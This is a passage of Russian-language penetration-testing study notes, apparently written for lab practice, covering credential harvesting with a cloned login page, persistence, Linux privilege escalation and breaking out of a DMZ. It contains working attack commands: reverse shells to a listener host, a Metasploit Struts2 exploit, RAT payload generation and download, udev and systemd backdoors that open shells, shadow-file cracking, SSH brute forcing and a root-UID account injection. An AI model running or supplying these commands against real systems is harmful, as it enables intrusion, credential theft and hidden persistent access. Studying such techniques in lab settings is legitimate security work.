Harvester/Tabnabbing [192.168.1.15]:  ``` Далее вводим адрес копируемой страницы. В данном случае это 192.168.1.89 ``` [-] SET supports both HTTP and HTTPS [-] Example: http://www.thisisafakesite.com set:webattack> Enter the url to clone: https://192.168.1.89/auth [*] Cloning the website: https://192.168.1.89/auth [*] This could take a little bit... The best way to use this attack is if username and password form fields are available... [*] The Social-Engineer Toolkit Credential Harvester Attack [*] Credential Harvester is running on port 80                                                                                             [*] Information will be displayed to you as it arrives below: ``` Теперь https страничка сайта 192.168.1.89/auth размещена на http 192.168.1.15. При обращении будет отображено ``` 192.168.1.15 - - [08/Oct/2025 04:11:31] "GET / HTTP/1.1" 200 - 192.168.1.15 - - [08/Oct/2025 04:11:32] "GET /favicon.ico HTTP/1.1" 404 - 192.168.1.15 - - [08/Oct/2025 04:11:44] "GET / HTTP/1.1" 200 - [*] WE GOT A HIT! Printing the output: POSSIBLE USERNAME FIELD FOUND: username=test                                                                                                                                                                                             POSSIBLE PASSWORD FIELD FOUND: password=gtrokl                                                                                                                                                                                               [*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT. ``` Пользователь после этого будет тихо перенаправлен на настоящую страничку, а в логах будет отражен введенный логин и пароль. # Закрепление доступа # Общая информация и практика **Определения** Закрепление доступа — это набор методов, которые атакующие используют для сохранения доступа к системам после перезагрузки, изменения учетных данных и других изменений, которые могли бы прервать их доступ. Backdoor (англ. Тайная дверь) — Backdoor - это скрытый способ доступа к системе, приложению или устройству, который обычно используется для обхода стандартных механизмов аутентификации и безопасности. MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) - матрица для описания тактик, техник и процедур, которые могут использоваться киберпреступниками для осуществления кибератак на организации и компании. MITRE ATT&CK описывает более 200 тактик и приемов, которые могут использоваться киберпреступниками на разных этапах кибератаки: от получения доступа к сети до уничтожения данных и скрытия следов своей деятельности. Обратный shell - тип консоли, соединяющейся с сервером и предоставляющей доступ к своей консоли. Bind shell - консоль, запущенная на некотором порту. **Дополнительно** - Популярные [способы закрепления](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md) - [Обзор](https://habr.com/ru/post/568298/) подходов к закреплению на русском - Использование persistence модуля в [фреймворке Metasploit](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/local/service_persistence.md). Методики privesc: - [Book.hacktricks Privilege-Escalation](https://book.hacktricks.xyz/linux-hardening/privilege-escalation) - [Privilege-Escalation](https://github.com/Ignitetechnologies/Privilege-Escalation) - [Container-breakouts-part1](https://blog.nody.cc/posts/container-breakouts-part1/) Полезные инструменты и техники: - [Upgrading simple shells to fully interactive ttys](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) - [linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) - [linux-smart-enumeration](https://github.com/diego-treitos/linux-smart-enumeration) - [3snake](https://github.com/blendin/3snake) - [pspy](https://github.com/DominicBreuker/pspy) - [libprocesshider](https://github.com/gianlucaborello/libprocesshider) - [pambd](https://github.com/ociredefz/pambd) - [sucrack](https://github.com/hemp3l/sucrack) **Алгоритм закрепления доступа** **Процесс:**
Стартовые условияДействияРезультат
Рабочая уязвимость Поднять сервер приема соединений Эксплуатировать уязвимость на атакуемом сервере для запуска соединения Обратный shell
Нужные данные в зависимости от способа закрепления (Тип целевой системы, ...) Создание сервера для обработки соединений Создание / использование существующего скрипта/эксплоита Эксплоит
Обратный shell Эксплоит Метод в соответствии со способом закрепления Устойчивый контроль
**Способы закрепления доступа:** - Использовать учетные данные на скомпроментированной системе - Изменение в легитимные механизмы доступа. - Внесение изменений в сервисы (добавляется нагрузка) - Изменение ядра или загрузчика системы **Обратный shell** **Генерация команд для получения обратной консоли** Ресурс [https://www.revshells.com/](https://www.revshells.com/) позволяет генерировать команды для исполнения на скомпроментированной системе и на нашей системе для получения обратного соединения. В разделе IP & port указывается адрес системы, к которой скомпроментированная система будет подключаться. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/image.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/image.png) В разделе Listener генерируется команда, которую нужно исполнить на нашей системе для получения обратного соединения. Здесь можно выбрать приложение, установленное на нашей системе. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/xbpimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/xbpimage.png) Затем слева устанавливаем тип скомпроментированной системы, интерпретатор (есть и python, php, ...), тип консоли, кодирование и получаем готовую строку для запуска на скомпроментированной системе. Думаю этому инструменту стоит посвятить отдельную страницу. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/FiHimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/FiHimage.png) Эту строку добавляем как параметр к нагрузке. Запускаем [тестовый стенд](http://bobrobotirk.ru/books/informacionnaia-bezopasnost/page/testovyi-stend "Тестовый стенд") уязвимого приложения. Запускаем на 189 сервер ``` nc -lvnp 9004 ``` Эксплуатация базовой уязвимости ``` $ msfconsole msf6> use exploit/multi/http/struts2_code_exec_showcase msf6> set RHOSTS 192.168.1.192 msf6> set TARGETURI /integration/saveGangster.action msf6> set PAYLOAD cmd/unix/generic msf6> set CMD 'sh -i >& /dev/tcp/192.168.1.189/9004 0>&1' msf6> exploit ``` Теперь в консоли с nc мы увидим shell удаленной системы. **Создание нагрузки в pupy.** Из 4 перечисленных способов закрепления доступа попробуем 3 вариант. Remote admin toolkit (RAT). Рассмотрим pupy. Python реализация, полностью в оперативной памяти. Вот только уже дохлый проект. Запускаем контейнер pupy RAT server. ``` docker run -d --rm -v /tmp/projects:/projects -p 2022:22 -p 8443:8443 --name pupy alxchk/pupy:unstable ``` Создаем ssh ключ для взаимодействия с RAT сервером. ``` ssh-keygen #все значения по умолчанию, в конце будет имя ключа ``` Копируем созданный ключ в директорию ключей pupy ``` cp ~/.ssh/id_ed25519.pub /tmp/projects/keys/authorized_keys ``` Подключаемся к pupy ``` ssh -i ~/.ssh/id_rsa -p 2022 pupy@127.0.0.1 ``` Генерируем клиента. ``` gen -f client -O linux -A x64 connect --host 192.168.1.189:8443 ``` Клиент сохранился по адресу \[+\] OUTPUT\_PATH: /projects/default/output/pupyx64.yLcu40.lin Для простой передачи на запускаем http сервер из этой директории ``` cd /tmp/projects/default/output/ python3 -m http.server 3000 ``` и из обратного shell скачиваем ``` wget http://192.168.1.189:3000/pupyx64.yLcu40.lin ``` Делаем исполняемым файл и запускаем ``` chmod +x pupy* ./pupy* ``` Теперь в консоли pupy можно увидеть сессию ``` >> sessions id user hostname platform release os_arch proc_arch intgty_lvl address ------------------------------------------------------------------------------------------------------ 1 root 186cff64fb1e Linux 6.12.43+deb13-amd64 x86_64 64bit High 192.168.1.192 ``` **Создание нагрузки в MSF** **Msfvenom** Отдельная утилита создания шифрованной нагрузки. Параметры:
-aАрхитектура. Например -a x86
--platformПлатформа. Например --platform windows
-pНагрузка -p windows/meterpreter/reverce\_tcp
LHOST=,LPORT=LHOST=192.168.1.15
-eОбфускатор. -e x86/shikata\_ga\_nai
-fФормат выходного файла -f exe
-o Место сохранения файла -o /root/test/updater.exe
Команда для запуска сервера обратных соединений: ``` msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.15; set LPORT 8080; run; exit -y" ``` # Получение легитимного доступа Получение легитимного доступа - доступ к системе без изменений системы, используя существующие учетные данные и способы доступа к системе.
ПлюсыМинусы
- Наименее заметный, так как в систему не вносится никаких изменений. - Может предоставлять доступ достаточно долго, если компрометация системы не обнаружена. - При компрометации обычно меняют пароли и ключи доступа. - Лучше совмещать его с другими подходами, так как при обнаружении использования инвазивных методов закрепления теряется и данный способ закрепления. - Учетные данные могут быть изменены по воле оператора системы.
Способы получения легитимного доступа к системе: - Извлечение паролей и ключей из доступных файлов в ОС - Восстановление паролей из хешей - Подбор паролей методом перебора - Восстановление паролей и ключей из памяти процессов **Восстановление паролей из хэшей** **JohnTheRipper** ``` $ sudo cp /etc/shadow /tmp/shadow $ sudo unshadow /etc/passwd /tmp/shadow > /tmp/unshadowed $ john /tmp/unshadowed ``` **Hashcat** Поддерживает MD5, SHA1, SHA256, bcrypt и т.д. Пример взлома MD5: ``` hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt ``` Параметры
-m 0алгоритм хеширования MD5
-a 0атака перебора
hash.txtфайл с хешами паролей
/usr/share/wordlists/rockyou.txtиспользуемый словарь для перебора паролей
**Радужная таблица** Специальный вариант таблиц поиска для обращения криптографических хеш-функций, использующий механизм разумного компромисса между временем поиска по таблице и занимаемой памятью. Предварительно вычисляются радужные таблицы, которые затем используются для быстрого нахождения паролей, соответствующих хэшам. Подробнее [тут](https://spy-soft.net/rainbow-tables-kali-linux-rainbowcrack/). **Онлайн-сервисы** [Подробнее](https://spy-soft.net/kak-rasshifrovat-xesh-bez-dolgix-vychislenij/) **Подбор паролей методом перебора** Минус состоит в необходимости предустановить инструмент на машину для обеспечения большей скорости обращений, что с высокой долей вероятности будет заметно командой реагирования и отразится в журналах аудита. Можно использовать nmap, patator или hydra, ... Лучше в виде портативных файлов для вашей версии ОС. Пример для patator: ``` patator ssh_login host=192.168.0.1 user=admin password=FILE0 0=/путь/к/файлу_с_паролями.txt -x ignore:fgrep='Permission denied' ``` Пример для nmap: ``` nmap --script ssh-brute --script-args userdb=usernames.txt,passdb=passwords.txt ``` \--script ssh-brute – указывает использование скрипта для перебора паролей ssh. \--script-args userdb=usernames.txt,passdb=passwords.txt – указывает на файлы, содержащие список пользователей и паролей соответственно. <target> – целевой IP-адрес или диапазон адресов. Прекомпилированный бинарный файл nmap [тут](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap). **Восстановление паролей и ключей из памяти процессов** В Linux сложнее чем в Windows. **Mimipenguin** Перехват паролей из памяти процессов на Linux-системе. Обычно используется для получения паролей, введенных пользователем в терминал, например, паролей от системы или приложений. После запуска Mimipenguin начнет мониторить процессы в системе и попытается извлечь пароли из памяти процессов. Пароли отображаются в терминале. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/261image.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/261image.png) **truffleproc** Инструмент для перехвата паролей из памяти любых процессов работающих в системе Linux, который ищет пароли и ключи API в процессах по регулярным выражениям выполняя выгрузку памяти процесса и анализируя ее. [Ссылка на инструмент](https://github.com/controlplaneio/truffleproc) **Ручной способ** Нужно найти процесс аутентификации: ``` # ps -ef | grep "authenticator" > root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` Сделать дамп процесса (например, memory-dump) и поискать учетные данные в памяти: ``` # ./dump-memory.sh 2027 # strings *.dump | grep -i ``` **Прочие подобные утилиты:** 3snake – перехват паролей ssh, sudo и su (experimental) SSHPry2.0 – перехват данных в терминале Gimmecredz – дамп паролей в памяти (на основе bash) # Внесение изменений в легитимные механизмы доступа Вносят минимальные изменения, используя существующие механизмы аутентификации, но добавляя в них новые сущности и условия.
ПлюсыМинусы
- Простой, может использоваться для быстрого продвижения по сети. - Легко модифицируется для меньшей заметности изменений в системе. - Крайне заметный в связи с аудитом изменений учетных записей в ОС или в домене - Не гарантирует закрепления в системе, так как администратор может изменить учетные данные .
**Примеры действий:** - Создание нового пользователя - Изменение учетных данных пользователя - Добавление ключей доступа - Сброс до стандартных паролей и учетных данных в сервисах - Открытие механизмов отладки в службах # Внесение изменений в сервисы и внешние программы в ОС Изменения конфигурации или программного кода постоянно работающих в ОС сервисов и доступных для взаимодействия с пользователями извне.
ПлюсыМинусы
- Достаточно скрытный, т.к. логирование изменений в сервисах происходит на общем уровне внесения изменений в файловую систему, что сложнее заметить команде реагирования. - На доступность не влияет изменение учетных данных, прав доступа пользователей ОС. - Заложенные backdoor’ы в программный код сервисов могут быть обнаружены только профессионалами, понимающими природу возникновения уязвимостей. - Также одним из способов закрепления может быть обнаружение прочих уязвимостей сервиса без внесения в него изменений. - При откате версии кода сервиса к последней стабильной, доступ теряется. - Заметен, если в ОС стоит аудит внесения изменения в файловую систему и в файлы конфигурации.
**Примеры:** - Внедрение бэкдоров в сервисы ОС - Внедрение уязвимого поведения в сервисы ОС для последующей эксплуатации уязвимостей - Запуск внешних программ для получения последующего контроля # Внесение изменений в ядро ОС и в предустановленные службы на нем Самые продвинутые и, зачастую самые надежные подходы по закреплению доступа, - это серия методов, позволяющих проникать глубоко в ядро ОС и изменять стандартные службы удаленного доступа, аутентификации, обработки событий и пр.
ПлюсыМинусы
- Некоторые из методов почти невозможно обнаружить при использовании стандартных средств анализа ОС, только используя глубокий анализ дампа памяти ОС (существуют методы, которые скрывают свое наличие при входе на сервер администратора и потом возвращают свое присутствие). - Такие методы зачастую могут действовать даже после обновления ОС, и, в частных случаях, даже после переустановки ОС. - Реализовать такой метод без действий, которые могут быть замечены в ходе выполнения, может быть непросто. - Высокая сложность реализации таких методов, а также сложность их отладки. - Разница в версии ОС или дистрибутиве может быть критически важной для выбора метода закрепления из этой категории.
**Rootkit** Вид вредоносного программного обеспечения, которое скрывает свою присутствие на компьютере или другом устройстве, изменяя функциональность операционной системы и скрывая свои следы от пользователей и системных программ. TripleCross - Linux eBPF-руткит с открытым исходным кодом по технологии eBPF\*. eBPF (Extended Berkeley Packet Filter) - технология ядра Linux, расширяющая функциональность стандартного фильтра Berkeley Packet Filter (BPF) для обработки пакетов и мониторинга событий в ядре. Работа eBPF осуществляется через специальное виртуальное машинное окружение (VM), которое запускается внутри ядра Linux.Оно позволяет загружать и исполнять программы на языке C, которые могут обрабатывать пакеты на уровне ядра, принимать решения о пересылке или отбрасывании пакетов, создавать и мониторить события в ядре и многое другое. **Remote Admin Tool** Похоже на RootKit, но менее скрытная. Утилиты RAT (Remote Access Tool) — это программные инструменты, которые позволяют удаленно управлять компьютером или устройством без ведома пользователя. RAT-утилиты могут быть использованы для различных целей, в том числе для управления компьютером из удаленного места, сбора конфиденциальной информации, мониторинга активности пользователя и т.д. # Внедрение бэкдоров аутентификации на основе PAM PAM (Pluggable Authentication Modules, подключаемые модули аутентификации) — разделяемые библиотеки, используемые для реализации произвольных методов аутентификации в виде единого API. Внедрение вредоносного модуля позволяет добавить мастер-пароль и перехватить учетные данные. Пример бэкдора: [https://github.com/ociredefz/pambd/](https://github.com/ociredefz/pambd/) **Внедрение бэкдоров в драйверы** Для запуска бэкдора при подключении какого-либо устройства можно использовать каталог /etc/udev/rules.d/, в котором хранятся правила для обработки событий устройств. Изменяя эти правила, можно переименовать устройство, настроить права доступа к нему, но самое главное, что нас интересует — выполнить скрипт при подключении устройства. ``` RSHELL="0<&196;exec 196<>/dev/tcp/192.168.0.177/9001; sh <&196 >&196 2>&196" echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null ``` В таком случае при подключении к машине USB-устройства порт выполнится скрипт RSHELL для предоставления доступа вашей машине в сети. **Внедрение бекдоров в службы автозапуска (использование systemd)** systemd — это системный инициализатор и менеджер служб для операционных систем Linux. Он является заменой для более старой системы инициализации SysVinit и предоставляет целый набор функциональных возможностей для управления и контроля запуска служб и процессов в Linux-системе. Systemd также имеет ряд дополнительных функций, включая событийную систему, журналирование и мониторинг процессов, управление сетевыми интерфейсами и сетевыми соединениями, управление контейнерами и многие другие. **Пример создания сервиса:** ``` [Unit] Description=Backdoor After=network.target ssh.service [Service] Type=simple PIDFile=/var/run/backdoor.pid ExecStart=sh -i >& /dev/tcp/192.168.0.177/9001 0>&1" Restart=always RestartSec=10 [Install] WantedBy=multi-user.target ``` Расположить его в файле: ``` /lib/systemd/system/backdoor.service ``` Запустить его командами: ``` sudo systemctl enable backdoor.service sudo systemctl start backdoor.service ``` # Повышение привилегий на серверных системах # Общая информация Повышение привилегий — это использование различных уязвимостей операционной системы и прикладного программного обеспечения для повышения своих полномочий в атакуемой системе. **Цели повышения привилегий:** - Получение произвольного доступа ко всем хранящимся в системе данным - Использование возможностей системы, недоступных для обычного пользователя - Модификация работающего в системе программного обеспечения для сбора дополнительной информации - Сокрытие следов активности от системного администратора - Обеспечение условий для атаки на гипервизор **Методы повышения привилегий** - Использование физического доступа. Например, когда вы получаете совершенно простой доступ на уровне вытаскивания диска или изменения пароля через загрузчик grub. - Использование ошибок администрирования. Это те ошибки, которые возникают из-за недочетов администраторов, а не из-за ошибок в конкретном ПО, установленном в ОС - Эксплуатация логических бинарных уязвимостей привилегированных сервисов. Такие ситуации возможны, когда мы обнаружили уязвимость в установленном ПО, работающем под высокими привилегиями. - Атаки на ядро Linux. Большинство атак на ядро Linux связаны с повреждением его памяти. **Утилиты и сервисы** **LinPEAS** Утилита поиска ошибок в конфигурации. [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) ``` curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh ``` **Gtfobins** Ресурс, на котором публикуют возможности запуска консоли через неявные возможности приложений [https://gtfobins.github.io/](https://gtfobins.github.io/) Актуально, когда sudo права без необходимости введения пароля предоставлены для некоторого приложения. # Пример nmap 1. Проверим права текущего пользователя: ``` $ id ``` 2. Отмечаем, что текущий пользователь входит в группу sudo и, следовательно, может выполнять различные команды с повышенными привилегиями. Получаем список таких команд: ``` $ sudo -l ``` 3. Видим, что мы можем запускать утилиту nmap, не вводя пароль. Проверим, что права действительно повышаются, использовав опцию сканирования -sS, доступную только для root: ``` $ sudo nmap -sS localhost ``` 4. Для более полного поиска векторов для повышения прав воспользуемся утилитой LinPEAS: 5. Для поиска способов выполнить произвольного кода с помощью утилиты с повышенными привилегиями обратимся к ресурсу https://gtfobins.github.io/ и найдем там nmap. Чтобы получить интерактивный шелл с правами root, воспользуемся командами с ресурса gtfobins и заставим nmap выполнить Lua-скрипт, открывающий командную оболочку: ``` Создадим временный файл с кодом скрипта и сохраним его имя в переменную TF: $ TF=$(mktemp) Добавим код, открывающий оболочку sh: $ echo 'os.execute("/bin/sh")' > $TF ``` 6. Запустим скрипт от имени root с помощью sudo и nmap: ``` $ sudo nmap --script=$TF ``` 7. Права повышены до root # Эксплуатация ошибок администрирования ОС Linux **Механизмы безопасности и разграничения прав доступа** /etc/passwd — текстовый файл, содержащий список учетных записей пользователей. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/Ft7image.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/Ft7image.png) В него можно добавить своего пользователя с отличным от root именем, но с тем же UID: ``` hacker:125mypa$$:0:0:hacker:/root:/bin/bash ``` **Встроенные механизмы передачи и получения прав доступа** **Специальные права: SUID** SUID bit позволяет выполнение программы с правами хозяина файлов. Основная идея — дать пользователям как можно меньше прав, при этом достаточных для решения поставленных задач. Механизм используется в большинстве UNIX и UNIX-подобных операционных системах. Особенности механизма SUID в стандартных конфигурациях Linux: - Работают с полномочиями пользователя root. - Используются для выполнения безопасных привилегированных операций, например, смены пароля или отправки ICMP-запросов. - Используются для штатной смены идентификаторов пользователя: su, sudo, pkexec - Требования к качеству кода этих программ довольно высокие, так как ошибки в них могут привести к нарушению безопасности всей системы. - Программы учитывают идентификатор запустившего их пользователя и различные файлы конфигурации. **Команда sudo** Правила, используемые sudo для принятия решения о предоставлении доступа, находятся в файле /etc/sudoers. Для редактирования файла редактор visudo. Язык написания и примеры использования подробно изложены в man sudoers **Команда su** Для использования su необходимо ввести соответствующий пароль (если только команду не вызывает пользователь root). Если введён правильный пароль, su создает новый процесс командного интерпретатора с такими же реальными и эффективными идентификаторами пользователя и группы, а также списком дополнительных групп, что и у указанного пользователя. **Ошибки, допускаемые в конфигурации механизмов безопасности** Хранение «отладочных» файлов с suid-битом Поиск таких файлов: ``` find / -perm /4000 ``` Предоставление доступа к команде sudo на файлы, дающие возможность выполнить произвольный код. Изучение предоставленных возможностей sudo: ``` sudo -l ``` **Ошибки администрирования и ввода паролей при применении команды sudo** Зачастую администраторы ошибаются: в спешке используют команду sudo, и, не выполнив команду sudo, продолжают вводить пароль, остающийся в истории команд. Изучение истории команд пользователя: ``` cat ~/.bash_history ``` **Ошибки Cron** Если строка задания написана в Cron некорректно, появляется возможность выполнить произвольный код через перезапись файлов и добавление исполняемых файлов. Посмотреть список задач в Cron: ``` cat /etc/crontab ``` **Инструменты автоматизации** Для ускорения сбора информации о системе можно использовать следующие проекты: - [https://github.com/diego-treitos/linux-smart-enumeration](https://github.com/diego-treitos/linux-smart-enumeration) - [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum) - [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy) - [https://github.com/mostaphabahadou/postenum](https://github.com/mostaphabahadou/postenum) - [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) ***(лучший вариант)*** Автоматизация подбора эксплойтов ядра: - [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester) - [https://github.com/jondonas/linux-exploit-suggester-2](https://github.com/jondonas/linux-exploit-suggester-2) - [http://www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) Мониторинг процессов всей системы из непривилегированного состояния: - [https://github.com/DominicBreuker/pspy](https://github.com/DominicBreuker/pspy) **Дополнительные материалы** - [Все](https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html) известные способы - [Машины](https://www.root-me.org/?page=recherche&lang=en&recherche=privilege+escalation+linux) для отработки навыков Методики privesc: - [Linux-privilege-escalation-using-ld\_preload](https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/) - [Exploiting-wildcard-for-privilege-escalation](https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/) - [Docker-privilege-escalation](https://www.hackingarticles.in/docker-privilege-escalation/) - [Lxd-privilege-escalation](https://www.hackingarticles.in/lxd-privilege-escalation/) - [Linux-privilege-escalation-using-capabilities](https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/) - [Linux-privilege-escalation-using-suid-binaries](https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/) - [Linux-privilege-escalation-using-exploiting-sudo-rights](https://www.hackingarticles.in/linux-privilege-escalation-using-exploiting-sudo-rights/) - [Linux-privilege-escalation-using-path-variable](https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/) - [Linux-privilege-escalation-using-misconfigured-nfs](https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/) Задачи на privesc на внешних ресурсах: - [ELF32-System-1](https://www.root-me.org/en/Challenges/App-Script/ELF32-System-1) - [ELF32-System-2](https://www.root-me.org/en/Challenges/App-Script/ELF32-System-2) - [Shared-Objects-hijacking](https://www.root-me.org/en/Challenges/App-Script/Shared-Objects-hijacking) - [Bash-Restricted-shells](https://www.root-me.org/en/Challenges/App-Script/Bash-Restricted-shells) - [Bash-Awk-netstat-parsing](https://www.root-me.org/en/Challenges/Realist/Bash-Awk-netstat-parsing) - [Sudo-weak-configuration](https://www.root-me.org/en/Challenges/App-Script/sudo-weak-configuration) - [Bash-cron](https://www.root-me.org/en/Challenges/App-Script/Bash-cron) - [Ultra-Upload](https://www.root-me.org/en/Challenges/Realist/Ultra-Upload) - [SSH-Agent-Hijacking](https://www.root-me.org/en/Challenges/App-Script/SSH-Agent-Hijacking) - [Linux PrivEsc Arena](https://tryhackme.com/room/linuxprivescarena) # Практика Архив с compose: https://stepik-files.cyber-ed.space/WhiteHat/lpe.zip ``` ssh -p 2022 regular@127.0.0.1 ``` Логин: regular, пароль: regular Повысить права. # Выход за DMZ # Общая информация Атака «человек посередине» (англ. Man in the middle (MitM)) — вид атаки в компьютерной безопасности, когда злоумышленник тайно ретранслирует и при необходимости изменяет связь между двумя сторонами, которые считают, что они непосредственно общаются друг с другом. **Популярные способы выхода за рамки сети ДМЗ** **Компрометация узлов внутри сети ДМЗ, имеющих доступ за рамки сети:** - Веб-сервисы, чья БД находится в локальной сети компании. - Почтовый сервер, который имеет доступ к домену через протоколы получения доступа к информации из домена. - Терминальный сервер, предоставляющий доступы к файловым серверам и доменным службам. **Компрометация сетевого оборудования и переконфигурация устройств и списков контроля доступа:** - Компрометация оборудования Cisco, Juniper, MikroTik через известные уязвимости. - Использование простых паролей или подбор паролей через доступные панели администрирования сетевого оборудования. - Приведение к отказу в обслуживании сетевого оборудования для сброса настроек. **Компрометация клиентов, входящих в DMZ сеть на управляемые узлы:** - Эксплуатация уязвимостей SSH-агентов при подключении к скомпрометированному SSH-серверу - Эксплуатация уязвимостей браузеров при подключении клиента из локальной сети к скомпрометированному веб-приложению (уязвимости XSS, UXSS, CSRF, Browser RCE и пр.) - Кража учетных данных клиентов и администраторов на скомпрометированных узлах в ДМЗ и переиспользование их для попадания в локальную сеть. **Обнаружение отдельных сегментов / протоколов, которым предоставлен доступ за рамки сети ДМЗ:** - Обнаружение MultiCast, AnyCast протоколов в трафике, которые могут быть использованы для проведения атак. - Обнаружение доступных из ДМЗ сети логических сегментов локальной сети компании. - Обнаружение протоколов (в т.ч. их стандартных портов), которым позволено выходить за рамки сети ДМЗ (DNS, LDAP, SSH, и пр.). **Техники для выхода за рамки сети ДМЗ** - Сканирование сети: для последующей компрометации узлов сети и обнаружения лазеек. - Анализ трафика: для поиска протоколов, которые можно атаковать впоследствии. - MitM атаки: для получения доступа к управлению трафиком за пределами сети ДМЗ. При сканировании сети необходимо с одной стороны быстрее определить существующие узлы сети, с другой - точнее определить сервисы на существующих узлах. Вариант стратегии: - Сканирование доступных узлов с использованием Ping-сканирования и ARP-скана, с отключением TCP сканирования: nmap-sn -n … - Сканирование доступных узлов с использованием только TCP-сканирования: nmap -n -Pn -PS 22,23,445,135,80,8080 … - Подкручивание скорости сканирования при помощи шаблона скорости: nmap -T5 или самостоятельном указывании значения скорости: nmap --min-rate=400 --min-parallelism=512 … ``` # nmap -n -sn -T5 192.168.0.0/16 или # nmap -n -Pn -PS 22,23,445,135,80,8080 192.168.0.0/16 Далее сканирование по списку выявленных узлов: # nmap -n -Pn -T5 --top-ports=1000 -sV -iL scope.txt ``` Подробнее про подкручивание скорости сканирования: [тут](https://nmap.org/book/reduce-scantime.html) Для обнаружения лазеек достаточно просканировать диапазон локальной сети на доступность узлов или отдельных портов и протоколов при помощи nmap или masscan. Обычно локальные сети компаний используют адресацию: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 ``` nmap -Pn -n -sU -p53 -T5 10.0.0.0/8 (Сканирование может занимать вплоть до суток) nmap -Pn -n -sS -p22 -T5 10.0.0.0/8 nmap -sn -n -T5 --disable-arp-ping 10.0.0.0/8 ``` **Анализ трафика** Анализ трафика помогает выявить протоколы и сетевые соединения, которые использует сегмент сети ДМЗ. Особенности: - По MAC-адресам в сети возможно обнаружить виртуальные машины. - По используемым протоколам можно определять используемое в сети ПО и сетевое оборудование. - Для анализа трафика чаще всего используются несколько инструментов захвата и мониторинга трафика: **Инструменты** Wireshark, tcpdump ``` sudo tcpdump -i eth0 -nn -s0 -w test.pcap ```
-iинтерфейс, на котором будет производиться захват
-nnодинарное (n) не разрешает имена хостов, двойное (nn) не разрешает имена хостов или портов. Используется при просмотре номеров IP/портов и при захвате большого количества данных, (разрешение имен замедляет захват).
-s0snap length, размер пакета для захвата, неограниченный размер захватывает весь трафик
-wимя файла для записи захваченного трафика
Перенос трафика из tcpdump с удаленного узла, в интерфейс wireshark на локальном узле: ``` ssh root@10.0.5.11 tcpdump -i any -s0 -nn -w - | wireshark -k -i - ``` **Атаки MitM** Популярные атаки в контексте сетевой безопасности: - Спуфинг: подмена источника, получателя или арбитра, а также любые попытки подменять сущности, условия, значения и пр. - Сниффинг: прослушивание трафика, проходящего через сетевую карту. Стоит знать: - ARP spoofing - STP (RSTP, PVSTP, MSTP) spoofing - NDP spoofing - VLAN hopping - SLAAC Attack - Hijacking HSRP (VRRP, CARP) - Dynamic routing protocol spoofing (BGP) - RIPv2 Routing Table Poisoning - OSPF Routing Table Poisoning - EIGRP Routing Table Poisoning - ICMP Redirect - NetBIOS (LLMNR) spoofing - DHCP spoofing **ARP Spoofing** Беспричинный ARP (англ. Gratuitous ARP RFC 5227) это и необоснованный ARP-запрос, и необоснованный ARP-ответ. Gratuitous это запрос/ответ, который не требует ответа/запроса. Беспричинный ARP запрос — это пакет запроса Address Resolution Protocol, в котором IP источника и назначения установлены на IP компьютера, издающего пакет, а MAC назначения — широковещательный адрес ff:ff:ff:ff:ff:ff:ff:ff. Ответного пакета не возникает. Беспричинный ARP-ответ — это ответ, на который не был сделан запрос. Также возможно быстрее ответить на arp-запрос жертвы. **Инструменты для проведения атаки ARP Spoofing** bettercap - это мощный, легко расширяемый и переносимый фреймворк, написанный на языке Go. Все функции для проведения разведки и атак на сети WiFi, устройства Bluetooth Low Energy, беспроводные устройства HID и сети Ethernet. ``` bettercap -T 10.10.10.10 -X ``` **MitM 6** Длина адреса IPv6 составляет 128 бит. IPv6 приоритетнее IPv4, но обычно не настроен. Принцип работы DHCPv6: - Клиент Ipv6 посылает сообщение Solicit на адрес All\_DHCP\_Relay\_Agents\_and\_Servers для поиска доступных серверов DHCP. - Любой сервер, который может удовлетворить требования клиента, отвечает сообщением Advertise. - Клиент выбирает один из серверов и посылает серверу сообщение Request с запросом на подтверждение назначения адресов и другой информации о конфигурации. - Сервер отвечает сообщением Reply, содержащим подтвержденные адреса и конфигурацию. **Атака Rogue DHCP (DHCPv6).** Цель - использование поддельного сервера DHCPv6 для перенаправления 